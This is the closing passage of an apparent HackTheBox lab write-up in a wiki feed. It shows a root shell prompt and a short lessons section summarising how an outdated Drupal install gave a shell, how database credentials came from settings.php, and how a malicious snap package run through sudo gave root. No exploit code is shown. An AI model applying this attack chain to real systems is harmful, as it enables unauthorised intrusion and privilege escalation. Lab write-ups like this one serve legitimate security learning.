drwxr-xr-x. 4 root root   35 Feb 18 10:49 snap&lt;br /&gt;
sh-4.2#&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Since this machine was using an old version of Drupal I was able to get a shell on the box. * PTY was disabled and I couldnt open mysql so I had to read from the database using commandline. From settings.php I got all the info I needed to read from the commandline. * Since bruce could run snap install * as sudo I was able to craft a malicious snap package and transfere it to the target machine and run. I could run basically any command.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>